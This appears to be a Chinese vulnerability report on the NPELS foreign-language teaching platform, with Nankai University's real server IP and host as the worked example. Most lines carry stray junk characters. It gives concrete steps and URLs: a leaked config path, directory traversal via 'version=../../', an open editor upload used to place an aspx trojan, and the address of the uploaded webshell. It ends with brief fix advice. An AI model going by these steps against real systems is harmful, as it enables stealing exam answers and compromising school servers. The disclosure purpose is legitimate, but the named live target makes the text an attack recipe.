好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中$ i) V! y2 r. a5 B: y
/ a! r* E5 A, w; Z5 [5 h( W2 \详细说明:/ c4 S' Y: f) u4 { u
* x5 i! ?' O! O; I
以南开大学的为例: ( ^6 S, E& v! D$ G! s8 A. K
http://222.30.60.3/NPELS
4 c! b; F1 R8 pNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
2 b9 S7 h8 Y/ L' ?. w( j; ?, O<setting name="Update_CommonSvr_CommonService" serializeAs="String">
9 N) Q. E6 G4 |$ Q1 I4 X<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
( K9 x& e' H* i</setting>
; U3 A( u! y2 x8 ]$ {/ Y! X- z0 C及版本号" t4 _) X* p! u2 n. k4 {
<add key="TVersion" value="1, 0, 0, 2187">. \# B& w W7 V* y
</add>
) ^6 N( n3 y% y+ G# `直接访问0 \. `( Z% W3 }! D+ X$ M6 e
http://222.30.60.3/NPELS/CommonService.asmx: G9 ~, s. \* k9 t
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
& ?0 j& }; D6 f( Z. s5 qhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
) M1 g& g2 _% q4 C0 f& B8 n进一步列目录(返回的网页很大,可以直接 wget 下来)3 |3 {* f; V+ U# L7 U& \
http://222.30.60.3/NPELS/CommonS ... List?version=../../- k, f ~: |* m$ ]4 _1 }
( [ @8 p, r2 K! B) K
发现7 I: `8 Q; q2 u0 }
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm% u7 ^" X3 `' X7 B4 _+ e
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头. P) o" B( h; ]
上传后继续列目录找到木马地址直接访问即可* H: U: Q9 F" g4 F& o, H i+ o: q
# T/ A" K3 r- p
OOXX
0 r4 a5 _. F. h . {; s' f1 H. Y# Q% ]0 r2 D
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
8 Q& M+ O& J- _: C! _6 D' O漏洞证明:
( k( H0 J6 e% H4 R& f8 E U & |9 n! g$ N/ n! a ]
列目录:
4 U3 C5 o1 ~& a# |http://222.30.60.3/NPELS/CommonS ... List?version=../../
0 E$ S/ ?* j7 V* u文件上传:. U( e5 b4 ?" u* K U2 k2 P, ~
http://222.30.60.3/npelsv/editor/editor.htm
* v5 t& O" `) ~! D
* m, h8 V( K* m4 J2 c# a( T上传木马:/ C$ J# s$ R% `2 I% j& \. h S: o
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx) \! f; {7 ^9 r: n0 r; n/ F
( V& u4 r: m8 _! w& t修复方案:( G& v4 C7 p, l( Z
好像考试系统必须使用 CommonService.asmx' G' d$ X. Z2 ]7 i
最好配置文件加密或者用别的方式不让它泄露出来
, Y8 Y; M$ p3 P4 M# h并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样3 M8 U+ Q5 d4 L5 c0 }$ b
|